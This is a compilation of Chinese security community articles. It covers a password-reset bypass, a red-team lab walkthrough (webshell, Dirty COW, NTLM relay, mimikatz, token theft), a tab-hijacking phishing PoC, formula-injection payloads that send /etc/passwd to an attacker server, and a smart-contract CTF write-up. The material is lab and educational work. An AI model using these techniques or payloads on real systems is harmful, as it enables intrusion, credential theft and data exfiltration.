[e5071ccd626ad4ef8b0be7561c50f1ac](https://opentip.kaspersky.com/e5071ccd626ad4ef8b0be7561c50f1ac/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
WhisperGate
[238bf5d26e338ca205b269ca4a9f57a8](https://opentip.kaspersky.com/238bf5d26e338ca205b269ca4a9f57a8/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
WhisperGate
[033fa3ae260e465da3d541bc138d2e1d](https://opentip.kaspersky.com/033fa3ae260e465da3d541bc138d2e1d/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
WhiteBlackCrypt x32
[4a6bec571521881b387b9de3d7b06aa0](https://opentip.kaspersky.com/4a6bec571521881b387b9de3d7b06aa0/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
WhiteBlackCrypt x32
[072da4148add1d8ee1e691cb94b31737](https://opentip.kaspersky.com/072da4148add1d8ee1e691cb94b31737/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
WhiteBlackCrypt x32
[99bd77ae4a287904c813960727046d80](https://opentip.kaspersky.com/99bd77ae4a287904c813960727046d80/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
WhiteBlackCrypt x32
[b36e5c508efea796731d444c189b413c](https://opentip.kaspersky.com/b36e5c508efea796731d444c189b413c/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
WhiteBlackCrypt x64
[490d8cdaf68619f23a2e03f55fd9e33e](https://opentip.kaspersky.com/490d8cdaf68619f23a2e03f55fd9e33e/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
Pandora hVNC
[6942546805623a1648960ffdc91d1cff](https://opentip.kaspersky.com/6942546805623a1648960ffdc91d1cff/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
Pandora hVNC
[c2cbd5caa9012e4878ff35c31cb2122f](https://opentip.kaspersky.com/c2cbd5caa9012e4878ff35c31cb2122f/?utm_source=SL&utm_medium=SL&utm_campaign=SL&_gl=1*peyu*_ga*OTM2MDc5NDgyLjE2NDQzMTE3MDE.*_ga_3G7M1SXZ71*MTY0NzM5NDA3Mi40LjEuMTY0NzM5NTQwOS4w)
Pandora hVNC
[02190c8c52bfafe4fa69b2972f867c1b](https://opentip.kaspersky.com/02190c8c52bfafe4fa69b2972f867c1b/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
Pandora hVNC
[e34d6387d3ab063b0d926ac1fca8c4c4](https://opentip.kaspersky.com/e34d6387d3ab063b0d926ac1fca8c4c4/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
MicroBackdoor spearphishing ZIP archive
[2556a9e1d5e9874171f51620e5c5e09a](https://opentip.kaspersky.com/2556a9e1d5e9874171f51620e5c5e09a/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
MicroBackdoor CHM dropper
[bc6932a0479045b2e60896567a37a36c](https://opentip.kaspersky.com/bc6932a0479045b2e60896567a37a36c/?utm_source=SL&utm_medium=SL&utm_campaign=SL)
MicroBackdoor JS dropper
* * * | 社区文章 |
某次漏洞挖掘的过程中，碰到一个与以往挖掘的逻辑漏洞有些差别的漏洞，在此记录一下。
漏洞点在忘记密码处。如图。
这里随便找了一个同学的学号进行下一步的操作。
这里正常验证的话，需要学号和身份证的信息，但是我们是没有身份证信息的，但是这里可以简单的抓包然后改包进行下一步。
响应包返回如下
看到这个响应包，相信有经验的师傅们都会会心一笑。这里尝试将响应包的failure改为success.
发现可以成功的带我们来到重置密码的界面。
这里还有一个拦路虎，手机验证码，且不说验证码能不能爆破的问题，仅当我点击发送验证的时候，页面的响应如下
这里看来还验证了上一步学号和身份证的验证结果，发送验证码在服务端看来是非法的。
不死心的我，尝试了将验证码置空，或者填了0000和9999之类的，最后干脆删掉了验证码字段，当然也都没有成功。
最后观察了一下提交密码重置后的响应包，如图。
这里当时看到这个null的时候，突然就灵光一闪。
会不会服务端根本没生成验证码(因为我点击发送验证码的时候显示了非法请求)，从而导致验证码的值为null?
马上尝试了一下，发现了新世界！
请求包如下
再看看返回的响应包，成功了！
这和我以往碰到的单纯改响应包下一步验证的绕过稍稍有些不同，稍微根据响应包返回的信息，猜想了一下后端的逻辑，希望能给各位师傅一起分享一下漏洞挖掘的经验(新手上路大佬轻喷) | 社区文章 |
## 0x00 简介
vlunstack是红日安全团队出品的一个实战环境，本次测试的红日安全 ATT&CK实战系列——红队实战（三）靶场环境下载地址：
<http://vulnstack.qiyuanxuetang.net/vuln/detail/5/>
这是个黑盒测试，不提供虚拟机密码，得到的信息只有一个：
ip:192.168.1.110
经过后续渗透结果发现大致拓扑如下：
* * *
## 0x01 外部打点
首先发现80端口网站是个joomla!，探测了一下版本，发现是3.9.2版本较高
然后扫了下目录，发现存在备份的配置文件configuration.php~
如上图所示，得到了一个mysql普通数据库用户
testuser cvcvgjASD!@
然后curl了一下3306，发现开着
然后尝试使用得到的mysql密码来连接
得到了joomla!的数据库
joomla默认后端编辑模板即可getshell，所以我们需要获取管理员账户，根据[官方文档](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn)使用sql添加一个即可
如下图，添加额外的管理员admin2
随后使用账号admin2 secret登录后台：<http://192.168.1.110/administrator/index.php>
通过模板修改，getshell：
然后访问shell：<http://192.168.1.110/templates/beez3/h1.php>
连接后发现有disable_function，可以用 **LD_PRELOAD** 绕过
能执行命令后，执行ifconfig uname看了下网卡以及内核
ubuntu内核比较新，暂时不考虑提权
在ubuntu上找到了个test.txt(略刻意)
尝试使用wwwuser通过ssh登陆192.168.1.110
由以下执行结果，我们不难发现，192.168.1.110不是我们gethell的主机，后端应该是nginx反代，我们目前得到的ubuntu的IP地址应该是192.168.93.100
查看centos内核版本：
可以用[脏牛](https://github.com/FireFart/dirtycow.git)提权：
脏牛提权成功，后面发现不用也能做(运气好)，所以有了两种解法。解法一直接爆破，解法二中继。
## 0x02 拿域控
### 解法一：
上msf，scp上传payload到centos：
centos执行payload获取shell：
添加路由,然后meterpreter放在后台：
扫描获取周围windows信息：
得到了三台加入test域的windows主机
192.168.93.20 windows server 2008
192.168.93.30 windows 7
192.168.93.10 windows server 2012
尝试爆破一下windows server 2008的本地管理员
没想到还真成了：
将目标网络代理出来：
本地windows使用proxifier，kali使用proxychains来代理socs4a:
用[wmiexec](https://github.com/ropnop/impacket_static_binaries)执行命令，查看进程时发现有test域的administrator的进程，于是尝试抓一下密码(直接steal
token也行)：
kali下使用smbclient通过代理连接windows server 2008 上传mimikatz
wmiexec远程执行mimikatz抓到了test域的administrator密码：
查看windows server 2008的ip，然后ping test.org获取到域控制器ip
直接ipc连接（环境有点问题，3389连接域控提示administrator的密码过期了）：
得到重要文件flag.txt：
### 解法二：
通过在获取centos root后，使用Responder MultiRelay.py
进行中继，使用mssql的密码(同mysql)访问centos获取到win2008
administrator的ntlmv2后中继到win7(win7本地administrator同win2008，真实环境课可能获取到域管凭据的情况多一点，而不是本地密码相同)，然后获取到win7凭据后登陆win2008,然后窃取test\administrator令牌,
登陆域控获取重要文件。
首先脏牛提权centos 得到的root，登陆centos，安装Responder。
然后生成shell，反弹meterpreter，创建路由，由于和解法一相同，所以不再赘述。
通过扫描，win2008开放了1433端口，mysql的密码就是mssql的密码：
testuser cvcvgjASD!@
由于获取到的是普通用户，所以不能用xp_cmdshell，但是可以获取到ntlmv2 hash
在centos创建好环境，安装[Responder](https://github.com/lgandx/Responder)，监听
使用auxiliary/admin/mssql/mssql_ntlm_stealer，执行xp_dirtree，触发UNC
msf触发UNC，获取到了win 2008的hash：
这里可以直接使用开膛手破解hash，运气好可以得到administrator密码：
运气不好可以尝试中继win2008打win7，由于win7 2008的本地administrator密码相同，所以也能成功，步骤如下：
mssql触发UNC：
MultiRelay监听获取到win7 shell：
使用MultiRelay自带mimikatz抓取win7凭据：
获取到win7本地密码：
administrator 123qwe!ASD
因为win2008的administrator凭据可以中继到win7，所以win2008的密码和win7相同。
psexec尝试用获取到的密码登录win2008查看进程
发现存在TEST域的administrator进程：
从centos上传incognito到win7再到win2008窃取令牌：
使用psexec incognito窃取TEST域administrator权限登录域控192.168.93.10将flag.txt复制到win2008:
set COMMAND C:\\incognito.exe execute -c \"TEST\\administrator\" \"cmd /c copy \\\\192.168.93.10\\C$\\users\\administrator\\Documents\\flag.txt C:\\1.txt\"
//注意转义符
win2008中查看从域控copy到的flag :)
* * *
## 0x03 总结
本次靶场为单域环境，较为基础，主要从端口扫描，目录扫描，joomla模板getshell，disable_function绕过，脏牛提权，smb中继，令牌窃取，横向移动等知识点考察练习常规红队技巧。 | 社区文章 |
由于今天看到一篇文章《[危险的 target="_blank" 与
“opener”](https://paper.seebug.org/538/)》，里面提到了一个老知识点，就是`target="_blank"`的时候，新打开的页面可以通过window.opener来控制源页面的URL，进行钓鱼攻击。这个攻击手法我在博客《[神奇的opener对象](https://www.leavesongs.com/HTML/opener-fishing.html)》中也说过，这里就不再赘述了。这篇文章抛出另一种与target有关的钓鱼攻击。
首先可以看一个小例子：
<http://675ba661.2m1.pw/41593a>
见上图，打开上述链接，然后点击“click
me”，打开了百度。这时查看地址栏，的的确确是百度，然后我们等待10秒，再次查看地址栏，这个时候已经变成攻击者的网址了；即使此时我们再访问淘宝等页面，只要仍然在这个标签页下，地址栏就仍然会被控制。
原理其实也很简单：
<html>
<head><meta charset="utf-8"></head>
<body>
<a href="https://www.baidu.com" target="baidu" id="baidu">click me</a>
<script>
setInterval(function() {
baidu.href="http://675ba661.2m1.pw/baidu";
baidu.click();
}, 10000);
</script>
</body>
</html>
a标签的target属性指定目标URL在哪个页面下打开，就是目标页面的window.name。如果这个a标签的href发生了变化，再次点击链接，页面仍然在相同的标签页下打开，所以就覆盖了上一次打开的页面。
所以，这个攻击方式和opener的攻击方式比较相似，都是在不能跨域的情况下，控制目标标签页的URL，进而进行钓鱼攻击。
但我觉得这个攻击持久型更佳，因为即使用户在新标签中输入自己的域名，或者又通过超链接点击到其他网站里，这个页面的地址栏永远是受到源页面的控制的。理论上在源页面不关闭的情况下，可以永久控制新页面的地址栏。 | 社区文章 |
# 深入理解APC机制（二）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01NtQueueApcThreadEx 之特殊用户 APC
正如我上一篇所说，每个线程都有自己的 APC 队列。如果线程进入警报状态，它将开始以先进先出 (FIFO) 的形式执行 APC 作业。线程可以通过使用
**SleepEx** 、 **SignalObjectAndWait** 、 **MsgWaitForMultipleObjectsEx** 、
**WaitForMultipleObjectsEx** 或 **WaitForSingleObjectEx** 函数进入警报状态。
+---------------------+ +---------------------+
| | | |
| | | |
| | | |
| Malware Process | | svchost process |
| | 1 allocating space | |
| |-----------------------------------------------> |---------------------|
| | | |
| | | shellcode |
| | 2 writing shellcode | |
+---------------------+-----------------------------------------------> +---------------------+
| ^
| |
| |
| |
| |
| |
| v
| +-----------------------------+
| | |
| | |
| | thread 1112 |
| | |
| |-----------------------------|
| | | |
| 3 Queue an APC to thread 1112 |exec shellcode|other jobs... |
+---------------------------------------------------->| | |
+-----------------------------+
APC Queue
而在 [Windows RS5](https://docs.microsoft.com/en-us/windows-insider/archive/new-in-rs5) 中，微软实现了特殊用户 APC。特殊用户 APC 可用于强制线程执行 APC 例程，即使它未处于警报状态。我们使用特殊用户 APC 进行
APC 注入所采取的所有步骤都类似于简单 APC 注入。唯一的区别是在这种情况下我们不会对所有线程进行 APC。可以使用
**NtQueueApcThreadEx** 函数将一个特殊的 APC
排队到属于我们目标进程的第一个线程。可以查看reactos文档中的实现：<https://doxygen.reactos.org/da/d3c/ntoskrnl_2ps_2state_8c_source.html#l00549>
typedef enum _QUEUE_USER_APC_FLAGS {
QueueUserApcFlagsNone,
QueueUserApcFlagsSpecialUserApc,
QueueUserApcFlagsMaxValue
} QUEUE_USER_APC_FLAGS;
typedef union _USER_APC_OPTION {
ULONG_PTR UserApcFlags;
HANDLE MemoryReserveHandle;
} USER_APC_OPTION, *PUSER_APC_OPTION;
USER_APC_OPTION UserApcOption;
UserApcOption.UserApcFlags = QueueUserApcFlagsSpecialUserApc;
for (Thread32First(snapshot, &te); Thread32Next(snapshot, &te);) {
if (te.th32OwnerProcessID == target_process_id) {
HANDLE target_thread_handle = OpenThread(THREAD_ALL_ACCESS, NULL, te.th32ThreadID);
NtQueueApcThreadEx(target_thread_handle, QueueUserApcFlagsSpecialUserApc, (PKNORMAL_ROUTINE)target_process_buffer, NULL, NULL, NULL);
CloseHandle(target_thread_handle);
break;
}
}
## 0x02 NtQueueApcThreadEx2
在 windows insider build 19603 的某个版本，添加了两个重要的功能：
1. NtQueueApcThreadEx2：这是一个新的系统调用，它允许传递 UserApcFlags 和 MemoryReserveHandle。
2. QueueUserAPC2：这是kernelbase.dll中的一个新包装函数，允许用户访问特殊用户APC。
微软允许客户端会使用QueueUserAPC2 ，它可用于在执行过程中向线程发送信号——例如模拟类似于 Linux
如何向线程发送信号[(pthread_cancel) 的](http://man7.org/linux/man-pages/man3/pthread_cancel.3.html)信号机制。
NTSTATUS
NtQueueApcThreadEx2(
IN HANDLE ThreadHandle,
IN HANDLE UserApcReserveHandle,
IN QUEUE_USER_APC_FLAGS QueueUserApcFlags,
IN PPS_APC_ROUTINE ApcRoutine,
IN PVOID SystemArgument1 OPTIONAL,
IN PVOID SystemArgument2 OPTIONAL,
IN PVOID SystemArgument3 OPTIONAL
);
DWORD
QueueUserApc2(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData,
QUEUE_USER_APC_FLAGS Flags
);
## 0x03 NtTestAlert
我们知道线程只有在进入alertable状态时才能运行 APC 作业。那是否有不用alertable状态运行 APC 作业的方法。还真有一个就是
**NtTestAlert** 函数，它检查当前线程的 APC 队列，如果有任何排队的作业，它会运行它们以清空队列。当一个线程启动时，
**NtTestAlert** 会被首先调用在执行下面流程。因此，如果在线程的开始状态将 APC
排队，就可以安全地运行。其中它的底层调用是KeTestAlertThread:
BOOLEAN
NTAPI
KeTestAlertThread(IN KPROCESSOR_MODE AlertMode)
{
PKTHREAD Thread = KeGetCurrentThread();
BOOLEAN OldState;
KLOCK_QUEUE_HANDLE ApcLock;
ASSERT_THREAD(Thread);
ASSERT_IRQL_LESS_OR_EQUAL(DISPATCH_LEVEL);
/* Lock the Dispatcher Database and the APC Queue */
KiAcquireApcLockRaiseToSynch(Thread, &ApcLock);
/* Save the old State */
OldState = Thread->Alerted[AlertMode];
/* Check the Thread is alerted */
if (OldState)
{
/* Disable alert for this mode */
Thread->Alerted[AlertMode] = FALSE;
}
else if ((AlertMode != KernelMode) &&
(!IsListEmpty(&Thread->ApcState.ApcListHead[UserMode])))
{
/* If the mode is User and the Queue isn't empty, set Pending */
Thread->ApcState.UserApcPending = TRUE;
}
/* Release Locks and return the Old State */
KiReleaseApcLock(&ApcLock);
return OldState;
}
我们首先创建一个处于挂起状态的进程（如 svchost），然后将 APC 排队到主线程，然后恢复线程。因此，在线程开始执行主代码之前，它会调用
**NtTestAlert** 函数来清空当前线程的 APC 队列并运行排队的作业。因为它会在 AV/EDR hook新进程前运行。demo如下：
#include <Windows.h>
#pragma comment(lib, "ntdll")
using myNtTestAlert = NTSTATUS(NTAPI*)();
int main()
{
unsigned char buf[] = "xx";
myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
SIZE_T shellSize = sizeof(buf);
LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
testAlert();
return 0;
}
这里我采用了文件分离的方式，免杀效果：
## 0x04 总结
网上使用这些的方式也有很多代码了，在我实际的渗透测试过程中比较倾向使用NtQueueApcThreadEx与NtTestAlert，绕过各种杀软的效果都挺可以，如果你还是显示被杀，可以先测试正常的弹计算器的shellcode是否正常。有些可能是比如CS的特征行为被杀，就需要改一下CS。 | 社区文章 |
`本文为2018年十大网络黑客技术题名文章，欢迎来读`
最近，我们针对一些客户端应用进行了一些测试工作，在测试中我们使用了OOB方法从电子表格中提取数据。在本文中，我们介绍的方法可以令我们获取到电子表格中的内容，但是却无法令攻击者具有访问完整文档或客户端系统的权限。
我们简单地看了一下`LibreOffice`以及`Google`表格，并为读者提供了一些PoC。
我们对非Windows的应用程序更为关注，因为对于Windows应用程序来说研究的工作已经很多了。
在这篇博文中，我们概述了来自`NotSoSecure`团队的Ajay（@ 9r4shar4j4y）和Balaji（@ iambalaji7）所进行的研究。
以下PoC可以允许我们使用简单的内置功能来获取敏感信息，甚至可以读取相应客户端系统上的文件内容。 我们不会在这里放出任何0
day，但希望本文可以提供一些新的攻击途径。
### Google表格OOB数据泄露
如果我们想要获取实时的数据内容，基于云的数据捕获方法可能是我们最好的选择。 与基于客户端的攻击不同，我们可以快速连续地在工作表中填充数据并进行实时响应。
攻击的具体情形可能会有很大差异，具体取决于用户可以使用的内容。
如果用户将CSV文件等创建并上传到目标，那么攻击者可以更容易进行攻击。这种类型的Google表格对我的下一步分析很有用处。
首先，让我们介绍一些有趣的功能。
**CONCATENATE** ：追加字符串。
=CONCATENATE(A2:E2)
**IMPORTXML** ：从各种结构化数据中导入数据，包括`XML、HTML、CSV、TSV和RSS以及ATOM XML`。
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
**IMPORTFEED** ：导入RSS或ATOM Feed。
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
**IMPORTHTML** ：从HTML页面中的表或列表中导入数据。
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
**IMPORTRANGE** ：从指定的电子表格导入一系列单元格。
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
**图像** ：将图像插入单元格。
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
### 数据泄露：
根据Google的电子表格功能文档，上述功能可能成为数据泄露的主要因素。
场景1 [失败]：在这里包含了一些失败的PoC情况。 失败是我们分析过程的一部分，应该被认为是很好的学习材料。 如果不经历失败，成功永远不会那么甜蜜。
Google提供了创建表单和接收回复的功能，以后可以使用Google表格查看这些回复。 我们尝试在相应Google表单的评论部分提交恶意代码来利用此漏洞。
但是，Google会对提交的内容进行安全检查，并在公式之前自动添加（'）撇号，从而停止公式的执行。
场景2
[成功]：Google表格还提供了其他的功能，允许我们从不同的文件中导入数据，如csv，tsv，xlsx等。这些导入的数据可以使用新的电子表格来展示，也可以附加到现有的表格中。
对于我们的PoC代码，我们将其附加到前一个工作表中，以便我们可以提取其他用户提交的数据。
说幸运的是，Google没有像在方案1中那样执行相同的检查。包括以下步骤。
1）我们创建了一个带有payload（公式）的恶意csv文件，它将连接A到D列的数据。 然后，我们使用这些信息为攻击者服务器生成带外请求。
2）然后，我们使用导入功能将csv文件导入Google表格，并将数据附加到现有工作表。
3）导入数据后，我们执行了payload，并在收听攻击服务器的HTTP服务器上收到用户的详细信息，如姓名，电子邮件和SSN数据。
希望这些内容能帮助用户实现攻击。之后，我们将继续进行套路，现在让我们研究`LibreOffice`。
### 在Linux系统中读取LibreOffice OS文件
本节重点介绍如何在Linux环境中利用CSV进行注入。
虽然许多博客已经发布了与使用Excel开发DDE相关的PoC等，但在Linux环境中对办公应用程序的研究却很少。
这个现象是很正常的，因为Linux台式机的使用人数远不及Windows，所以攻击更面向大众人群，也就是最有利可图的终端。
在本文中，我们会强调一些可以在Linux目标上利用的简单公式攻击。 在本文中，我们使用以下环境进行测试。
payload已在下列环境中成功测试：
* Ubuntu 16.04 LTS and LibreOffice 5.1.6.2
* Ubuntu 18.04 LTS and LibreOffice 6.0.3.2
我们首先尝试使用本地访问并通过公式读取敏感文件。 `LibreOffice`提供使用“文件”协议读取文件。
创建了一个从本地`/etc/passwd`文件中检索的初始PoC，详情如下。
**Payload 1:**
**分析一下payload：**
* `file:///etc/passwd’#$passwd.A1`\- 将从本地`/etc/ passwd`文件中读取第1行
*我们也可以使用`http://`代替`file:///`查询远程资源。
应该注意的是，在初始导入时会提示用户执行如下屏幕截图所示的操作（在此示例中显示`/etc/group`的输出）。
导入完成后，用户只要重新打开文档，就会提示更新链接。
顺便提一下，通过改变行引用（这里为A2），我们可以从文件中读取更多内容。
我们需要一种方法来查看远程系统中的文件内容（我们没有在LibreOffice应用程序中查看这些结果的工具）
这需要我们研究`WEBSERVICE`函数。 本质上，我们可以使用此函数连接到我们控制的远程系统，然后发送对`/etc/passwd`文件提取数据的请求。
显然，攻击主机上不存在这些文件，但GET请求会帮助我们从攻击主机上的日志或控制台的输出文件进行访问。
继续这个理论，我们提出了下面PoC。
**Payload 2:**
=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)))
**对一下payload进行分析：**
* `file:///etc/passwd’#$passwd.A1` \- 将从本地`/etc/passwd`文件中读取第1行
* CONCATENATE（“http://<ip>:8080”，（`‘file:///etc/passwd’#$passwd.A1`）） - 连接文件的IP地址和输出信息</ip>
* WEBSERVICE - 向我们的攻击主机请求特定的URI
我们的攻击系统运行了Python的`SimpleHTTPServer`，因此当在受害者系统上打开恶意文件时，请求就会被我们的服务器接收。
同样，我们编写了几个payload来从目标文件中读取多行内容。 如果我们系统的空间足够，那么我们只需要确保最后一个引用（＃$
passwd.A1）设置为每行递增。之后我们就可以通过在单个文档中嵌入多行来实现此任务。以下PoC将提取并发送目标文件`/etc/passwd`中的前30行。
但是，更简洁的方法是在单个公式中引用多个行，如下所示。
执行以下payload时，`/etc/passwd`文件中的2行将发送到攻击服务器。
**Payload 3:**
=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
**分析以下payload：**
* `'file:///etc/passwd’#$passwd.AX` \- 将读取本地`/etc/ passwd`文件中的第1行和第2行
* CONCATENATE（`“http://<ip>:8080/`，（`‘file:///etc/passwd’#$passwd.A1)&CHAR(36)&(‘file:///etc/passwd’#$passwd.A2`）） - 将攻击服务器IP地址与`/etc/ passwd`行第1行和第2行（文件中的前2行）的输出连接起来，每个都用美元（$）字符分隔
* WEBSERVICE - 向我们的攻击主机请求特定的URI
查看攻击主机，我们可以在GET请求中看到来自`/etc/passwd`的相应内容，在此实例中由`$ character (CHAR 36)`进行分隔。
根据文件内容，我们可能会遇到长度问题<https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers。>
我们在下一个PoC中解决了这两个问题。如果没有DNS示例，我们就无法完成OOB数据泄露工作。
**Payload 4:**
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<FQDN>"))
**payload分析：**
* `‘file:///etc/passwd’#$passwd.A19` \- 将从本地`/etc/passwd`文件中读取第19行
* ENCODEURL`(‘file:///etc/passwd’#$passwd.A19)` \- URL对返回的数据进行编码
* `MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41)`\- 与子字符串类似，从第1个字符到第41个字符读取数据 - 这是限制DNS长度的一种非常方便的方法（FQDN上限254个字符，标签上限63个字符，即子域）
* `SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)`\- 替换所有％的实例（URL中的特殊字符） 使用短划线 - 这确保仅使用有效的DNS字符
* `CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”)` \- 将文件的输出（在上述处理之后）与FQDN连接（我们可以访问对域中主机）
* WEBSERVICE - 将请求此不存在的DNS名称，然后我们可以在我们控制的DNS服务器上解析日志（或运行tcpdump等）
发送完成后，我们可以通过配置为域的服务器上的`tcpdump`查看`FQDN`（包括/ etc/passwd第19行的编码数据）的查询，如下所示。
如果用户根据我们的文章进行测试或者修改`upload/download/imports/exports`的CSV数据等的应用程序，那么肯定会看到成功的结果。
本文为翻译稿件，来自：https://www.notsosecure.com/data-exfiltration-formula-injection/ | 社区文章 |
# Blockchain CTF v2 write up
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前两天看到这个智能合约的[ctf](https://blockchain-ctf.securityinnovation.com)出了v2版本，第一版的时候题目不多，而且也比较基础，这次更了第二版加了四道题，而且对老版的题目进行了一定的改进，虽然考点没变，但代码是更加规范了，至少编译起来看着是舒服多了，不过更新后没法用以前的账号继续，只能重新做，所以顺手在这记录了一下
题目地址 <https://blockchain-ctf.securityinnovation.com>
## 0x1.Donation
源码如下
pragma solidity 0.4.24;
import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract Donation is CtfFramework{
using SafeMath for uint256;
uint256 public funds;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
funds = funds.add(msg.value);
}
function() external payable ctf{
funds = funds.add(msg.value);
}
function withdrawDonationsFromTheSuckersWhoFellForIt() external ctf{
msg.sender.transfer(funds);
funds = 0;
}
}
第一关，非常简单，在这一系列的题目了我们的目标都是清空合约的余额，此处直接调用`withdrawDonationsFromTheSuckersWhoFellForIt`函数即可，这里主要是让你熟悉操作，为了方便我都是直接使用[remix](http://remix.ethereum.org)进行调用，下面也一样，就不再赘述了
## 0x2.lock box
主要代码
pragma solidity 0.4.24;
import "./CtfFramework.sol";
contract Lockbox1 is CtfFramework{
uint256 private pin;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
pin = now%10000;
}
function unlock(uint256 _pin) external ctf{
require(pin == _pin, "Incorrect PIN");
msg.sender.transfer(address(this).balance);
}
}
很简单，考点就是EVM中storage存储的读取，为了调用unlock函数，我们要知道合约中保存的pin的值，尽管它是个private的变量，无法被外部call，但是可以直接使用getStorageAt读取其值，因为CtfFramework合约中有个mapping变量的声明占据了一个slot，所以此处pin所在的即第二个slot，即index为1
> web3.eth.getStorageAt(‘your challenge address’, 1, console.log);
使用获取到的pin去调用unlock函数即可
## 0x3.Piggy Bank
主要代码
contract PiggyBank is CtfFramework{
using SafeMath for uint256;
uint256 public piggyBalance;
string public name;
address public owner;
constructor(address _ctfLauncher, address _player, string _name) public payable
CtfFramework(_ctfLauncher, _player)
{
name=_name;
owner=msg.sender;
piggyBalance=piggyBalance.add(msg.value);
}
function() external payable ctf{
piggyBalance=piggyBalance.add(msg.value);
}
modifier onlyOwner(){
require(msg.sender == owner, "Unauthorized: Not Owner");
_;
}
function withdraw(uint256 amount) internal{
piggyBalance = piggyBalance.sub(amount);
msg.sender.transfer(amount);
}
function collectFunds(uint256 amount) public onlyOwner ctf{
require(amount<=piggyBalance, "Insufficient Funds in Contract");
withdraw(amount);
}
}
contract CharliesPiggyBank is PiggyBank{
uint256 public withdrawlCount;
constructor(address _ctfLauncher, address _player) public payable
PiggyBank(_ctfLauncher, _player, "Charlie")
{
withdrawlCount = 0;
}
function collectFunds(uint256 amount) public ctf{
require(amount<=piggyBalance, "Insufficient Funds in Contract");
withdrawlCount = withdrawlCount.add(1);
withdraw(amount);
}
}
这道题主要考的是solidity中的继承，在`CharliesPiggyBank`合约跟`PiggyBank`合约中都有`collectFunds`函数，但是`PiggyBank`中只有owner可以调用，而`CharliesPiggyBank`则是继承自`PiggyBank`合约，其自己重写的`collectFunds`函数实际上覆盖了`PiggyBank`中的同名函数，所以我们直接调用合约中的`collectFunds`函数即可，关于solidity中的继承我也写过相关的文章，更多内容可以看这里，[solidity中的继承杂谈](https://www.anquanke.com/post/id/150310)
直接使用`piggyBalance`调用`collectFunds`即可完成挑战
## 0x4.SI Token Sale
主要代码
contract SIToken is StandardToken {
using SafeMath for uint256;
string public name = "SIToken";
string public symbol = "SIT";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 1000 * (10 ** decimals);
constructor() public{
totalSupply_ = INITIAL_SUPPLY;
balances[this] = INITIAL_SUPPLY;
}
}
contract SITokenSale is SIToken, CtfFramework {
uint256 public feeAmount;
uint256 public etherCollection;
address public developer;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
feeAmount = 10 szabo;
developer = msg.sender;
purchaseTokens(msg.value);
}
function purchaseTokens(uint256 _value) internal{
require(_value > 0, "Cannot Purchase Zero Tokens");
require(_value < balances[this], "Not Enough Tokens Available");
balances[msg.sender] += _value - feeAmount;
balances[this] -= _value;
balances[developer] += feeAmount;
etherCollection += msg.value;
}
function () payable external ctf{
purchaseTokens(msg.value);
}
// Allow users to refund their tokens for half price ;-)
function refundTokens(uint256 _value) external ctf{
require(_value>0, "Cannot Refund Zero Tokens");
transfer(this, _value);
etherCollection -= _value/2;
msg.sender.transfer(_value/2);
}
function withdrawEther() external ctf{
require(msg.sender == developer, "Unauthorized: Not Developer");
require(balances[this] == 0, "Only Allowed Once Sale is Complete");
msg.sender.transfer(etherCollection);
}
}
这题的考点主要在于溢出，虽然前面引入了safemath，却没有使用，这就导致合约中存在下溢，很明显`purchaseTokens`函数中
> balances[msg.sender] += _value – feeAmount;
只要传入一个小于`feeAmount`的`_value`，即可让我们的balances下溢，比如发送1gas，然后即可调用`refundTokens`函数将合约的余额清空，因为这里是将`_value`除2得到提取的余额，所以我们将合约的`etherCollection`乘2作为`_value`即可，这里面也包含我们前面调用`purchaseTokens`发送的ether。
## 0x5.Secure Bank
主要代码
contract SimpleBank is CtfFramework{
mapping(address => uint256) public balances;
